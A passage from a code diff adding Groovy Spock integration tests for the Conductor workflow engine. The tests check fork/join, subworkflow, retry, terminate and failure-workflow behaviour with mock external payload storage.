Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == "DECISION" + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == "USER_TASK" + tasks[2].status == Task.Status.COMPLETED + tasks[2].inputData.isEmpty() + + tasks[2].outputData.get("size") == 104 + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.COMPLETED + } + } + + def "Test fork join workflow using external payload storage"() { + + given: "An existing fork join workflow definition" + metadataService.getWorkflowDef(FORK_JOIN_WF, 1) + + and: "input required to start large payload workflow" + def correlationId = 'fork_join_external_storage' + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_WF, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "the first task of the left fork is polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").taskId + def polledAndAckTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndAckTask) + + and: "task is completed and the next task in the fork is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "the first task of the right fork is polled and completed with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def polledAndAckLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_2', 'task2.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(polledAndAckLargePayloadTask) + + and: "task is completed and the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "the second task of the left fork is polled and completed with external payload storage" + polledAndAckLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_3', 'task3.integration.worker', taskOutputPath) + + and: "the workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the 'integration_task_3' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(polledAndAckLargePayloadTask) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "task is completed and the next task after join in scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].outputData.isEmpty() + + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[3].outputData.isEmpty() + + tasks[4].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_3' + tasks[4].outputData.isEmpty() + + tasks[5].status == Task.Status.SCHEDULED + tasks[5].taskType == 'integration_task_4' + } + + when: "the task 'integration_task_4' is polled and completed" + polledAndAckTask = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.integration.worker') + + then: "verify that the 'integration_task_4' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndAckTask) + + and: "task is completed and the workflow is in completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].outputData.isEmpty() + + tasks[3].status == Task.Status.COMPLETED + tasks[3].taskType == 'JOIN' + tasks[3].outputData.isEmpty() + + tasks[4].status == Task.Status.COMPLETED + tasks[4].taskType == 'integration_task_3' + tasks[4].outputData.isEmpty() + + tasks[5].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_4' + } + } + + def "Test workflow with subworkflow using external payload storage"() { + + given: "An existing workflow definition" + metadataService.getWorkflowDef(WORKFLOW_WITH_INLINE_SUB_WF, 1) + + and: "input required to start large payload workflow" + String workflowInputPath = uploadInitialWorkflowInput() + def correlationId = "workflow_with_inline_sub_wf_external_storage" + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_INLINE_SUB_WF, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + when: "the subworkflow is started by issuing a system task call" + def inlineSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (inlineSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, inlineSubWfTask.taskId) + } + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowTaskId = workflow.getTaskByRefName('swt').taskId + + then: "verify that the sub workflow task is in a IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.IN_PROGRESS + tasks[1].inputData.isEmpty() + + } + + when: "sub workflow is retrieved" + workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowInstanceId = workflow.getTaskByRefName('swt').subWorkflowId + sweep(subWorkflowInstanceId) + + then: "verify that the sub workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + input.isEmpty() + + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'integration_task_3' + } + + when: "poll and complete the 'integration_task_3' with external payload storage" + pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_3', 'task3.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_3' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the sub workflow is completed" + with(workflowExecutionService.getExecutionStatus(subWorkflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + input.isEmpty() + + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'integration_task_3' + tasks[0].outputData.isEmpty() + + output.isEmpty() + + } + + and: "the subworkflow task is completed and the workflow is in running state" + sweep(workflowInstanceId) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.COMPLETED + tasks[1].inputData.isEmpty() + + tasks[1].outputData.isEmpty() + + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].inputData.isEmpty() + + } + + when: "poll and complete the 'integration_task_2' with external payload storage" + pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_2', 'task2.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the task is completed and the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + output.isEmpty() + + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == TaskType.SUB_WORKFLOW.name() + tasks[1].status == Task.Status.COMPLETED + tasks[1].inputData.isEmpty() + + tasks[1].outputData.isEmpty() + + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].inputData.isEmpty() + + tasks[2].outputData.isEmpty() + + } + } + + def "Test retry workflow using external payload storage"() { + + setup: "Modify the task definition" + def persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 2, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + modifiedTask2Definition.setRetryDelaySeconds(0) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing simple workflow definition" + metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + and: "input required to start large payload workflow" + def correlationId = 'retry_wf_external_storage' + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + + } + + when: "poll and fail the 'integration_task_2'" + def pollAndFailTask2Try1 = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndFailTask2Try1) + + and: "verify that task is retried and workflow is still running" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].inputData.isEmpty() + + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].inputData.isEmpty() + + } + + when: "poll and complete the retried 'integration_task_2'" + def pollAndCompleteTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'success_task2']) + + then: "verify that the task is polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask2) + + and: "verify that the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + output.isEmpty() + + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].inputData.isEmpty() + + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].inputData.isEmpty() + + } + + cleanup: + metadataService.updateTaskDef(persistedTask2Definition) + } + + def "Test workflow with terminate in decision branch using external payload storage"() { + + given: "An existing workflow definition" + metadataService.getWorkflowDef(WORKFLOW_WITH_DECISION_AND_TERMINATE, 1) + + and: "input required to start large payload workflow" + String workflowInputPath = uploadInitialWorkflowInput() + def correlationId = "decision_terminate_external_storage" + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_DECISION_AND_TERMINATE, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + tasks[0].seq == 1 + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = uploadLargeTaskOutput() + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has FAILED due to terminate task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 3 + output.isEmpty() + + reasonForIncompletion.contains('Workflow is FAILED by TERMINATE task') + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[0].seq == 1 + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[1].seq == 2 + tasks[2].taskType == 'TERMINATE' + tasks[2].status == Task.Status.COMPLETED + tasks[2].inputData.isEmpty() + + tasks[2].seq == 3 + tasks[2].outputData.isEmpty() + } + } + + def "Test dynamic fork join workflow with subworkflow using external payload storage"() { + given: "An existing dynamic fork join workflow definition" + metadataService.getWorkflowDef(DYNAMIC_FORK_JOIN_WF, 1) + + and: "input required to start large payload workflow" + def correlationId = "dynamic_fork_join_subworkflow_external_storage" + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + input.isEmpty() + + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 'integration_task_1' with external payload storage" + String taskOutputPath = "${UUID.randomUUID()}.json" + mockExternalPayloadStorage.upload(taskOutputPath, mockExternalPayloadStorage.curateDynamicForkLargePayload()) + def pollAndCompleteLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_1', 'task1.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(pollAndCompleteLargePayloadTask) + + when: "the sub workflow system task is executed" + def dynamicSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (dynamicSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, dynamicSubWfTask.taskId) + } + + then: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled with externalized payloads" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + with(workflow) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + !tasks[0].outputData + tasks[1].taskType == 'FORK' + !tasks[1].inputData + + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + !tasks[2].inputData + + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].referenceTaskName == 'dynamicfanouttask_join' + } + } + + def "Test update task output multiple times using external payload storage"() { + given: "An existing simple workflow definition" + metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, 'multi_task_update_external_storage', new HashMap(), null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and update 'integration_task_1' with external payload storage output" + String taskOutputPath = uploadLargeTaskOutput() + workflowTestUtil.pollAndUpdateTask('integration_task_1', 'task1.integration.worker', taskOutputPath, null, 1) + + then: "verify that 'integration_task1's output is updated correctly" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + tasks[0].outputData.isEmpty() + tasks[0].externalOutputPayloadStoragePath == taskOutputPath + } + + when: "poll and update 'integration_task_1' with no additional output" + workflowTestUtil.pollAndUpdateTask('integration_task_1', 'task1.integration.worker', null, null, 1) + + then: "verify that 'integration_task1's output is updated correctly" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + tasks[0].outputData.isEmpty() + // no duplicate upload + tasks[0].externalOutputPayloadStoragePath == taskOutputPath + } + + when: "poll and complete 'integration_task_1' with additional output" + Map output = ['k1': 'v1', 'k2': 'v2'] + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', output, 1) + + then: "verify that 'integration_task1 is complete and output is updated correctly" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + // upload again with additional output + tasks[0].externalOutputPayloadStoragePath != taskOutputPath + verifyPayload(output, mockExternalPayloadStorage.downloadPayload(tasks[0].externalOutputPayloadStoragePath)) + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and update 'integration_task_2' with output" + Map output1 = ['k1': 'v1', 'k2': 'v2'] + workflowTestUtil.pollAndUpdateTask('integration_task_2', 'task1.integration.worker', null, output1, 1) + + then: "verify that 'integration_task2's output is updated correctly" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].externalOutputPayloadStoragePath == null + verifyPayload(output1, tasks[1].outputData) + } + + when: "poll and complete 'integration_task_2' with additional output" + Map output2 = ['k3': 'v3', 'k4': 'v4'] + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', output2, 1) + + then: "verify that 'integration_task2 is complete and output is updated correctly" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + tasks[1].externalOutputPayloadStoragePath == null + output1.putAll(output2) + verifyPayload(output1, tasks[1].outputData) + } + } + + def "Test fork join workflow exceed external storage limit should fail the task and workflow"() { + + given: "An existing fork join workflow definition" + metadataService.getWorkflowDef(FORK_JOIN_WF, 1) + + and: "input required to start large payload workflow" + def correlationId = 'fork_join_external_storage' + String workflowInputPath = uploadInitialWorkflowInput() + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(FORK_JOIN_WF, 1, correlationId, null, workflowInputPath) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.SCHEDULED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + } + + when: "the first task of the left fork is polled and completed" + def polledAndAckTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndAckTask) + + and: "task is completed and the next task in the fork is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "the first task of the right fork is polled and completed with external payload storage" + String taskOutputPath = "${UUID.randomUUID()}.json" + mockExternalPayloadStorage.upload(taskOutputPath, mockExternalPayloadStorage.createLargePayload(500)) + def polledAndAckLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_2', 'task2.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(polledAndAckLargePayloadTask) + + and: "task is completed and the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[3].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'JOIN' + tasks[4].status == Task.Status.SCHEDULED + tasks[4].taskType == 'integration_task_3' + } + + when: "the second task of the left fork is polled and completed with external payload storage" + taskOutputPath = "${UUID.randomUUID()}.json" + mockExternalPayloadStorage.upload(taskOutputPath, mockExternalPayloadStorage.createLargePayload(500)) + polledAndAckLargePayloadTask = workflowTestUtil.pollAndCompleteLargePayloadTask('integration_task_3', 'task3.integration.worker', taskOutputPath) + + then: "verify that the 'integration_task_3' was polled and acknowledged" + verifyPolledAndAcknowledgedLargePayloadTask(polledAndAckLargePayloadTask) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "task is completed and the join task is failed because of exceeding size limit" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].outputData.isEmpty() + tasks[3].status == Task.Status.FAILED_WITH_TERMINAL_ERROR + tasks[3].taskType == 'JOIN' + tasks[3].outputData.isEmpty() + !tasks[3].getExternalOutputPayloadStoragePath() + } + } + + private String uploadLargeTaskOutput() { + String taskOutputPath = "${UUID.randomUUID()}.json" + mockExternalPayloadStorage.upload(taskOutputPath, mockExternalPayloadStorage.readOutputDotJson(), 0) + return taskOutputPath + } + + private String uploadInitialWorkflowInput() { + String workflowInputPath = "${UUID.randomUUID()}.json" + mockExternalPayloadStorage.upload(workflowInputPath, ['param1': 'p1 value', 'param2': 'p2 value', 'case': 'two']) + return workflowInputPath + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/FailureWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/FailureWorkflowSpec.groovy new file mode 100644 index 0000000..1c80494 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/FailureWorkflowSpec.groovy @@ -0,0 +1,142 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.model.WorkflowModel +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW + +class FailureWorkflowSpec extends AbstractSpecification { + + @Shared + def WORKFLOW_WITH_TERMINATE_TASK_FAILED = 'test_terminate_task_failed_wf' + + @Shared + def PARENT_WORKFLOW_WITH_FAILURE_TASK = 'test_task_failed_parent_wf' + + @Autowired + SubWorkflow subWorkflowTask + + def setup() { + workflowTestUtil.registerWorkflows( + 'failure_workflow_for_terminate_task_workflow.json', + 'terminate_task_failed_workflow_integration.json', + 'test_task_failed_parent_workflow.json', + 'test_task_failed_sub_workflow.json' + ) + } + + def "Test workflow with a task that failed"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the failed task" + def testId = 'testId' + def workflowInstanceId = startWorkflow(WORKFLOW_WITH_TERMINATE_TASK_FAILED, 1, + testId, workflowInput, null) + + then: "Verify that the workflow has failed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + reasonForIncompletion == "Early exit in terminate" + tasks[0].status == Task.Status.COMPLETED + tasks[0].taskType == 'LAMBDA' + tasks[0].seq == 1 + tasks[1].status == Task.Status.COMPLETED + tasks[1].taskType == 'TERMINATE' + tasks[1].seq == 2 + output + def failedWorkflowId = output['conductor.failure_workflow'] as String + def workflowCorrelationId = correlationId + def workflowFailureTaskId = tasks[1].taskId + with(workflowExecutionService.getWorkflowModel(failedWorkflowId, true)) { + status == WorkflowModel.Status.COMPLETED + correlationId == workflowCorrelationId + input['workflowId'] == workflowInstanceId + input['failureTaskId'] == workflowFailureTaskId + tasks.size() == 1 + tasks[0].taskType == 'LAMBDA' + input['failedWorkflow'] != null + } + } + } + + def "Test workflow with a task failed in subworkflow"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['a'] = 1 + + when: "Start the workflow which has the subworkflow task" + def workflowInstanceId = startWorkflow(PARENT_WORKFLOW_WITH_FAILURE_TASK, 1, + '', workflowInput, null) + + and: "the sub workflow system task is executed" + def failureSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (failureSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, failureSubWfTask.taskId) + } + + then: "verify that the sub workflow has failed" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = 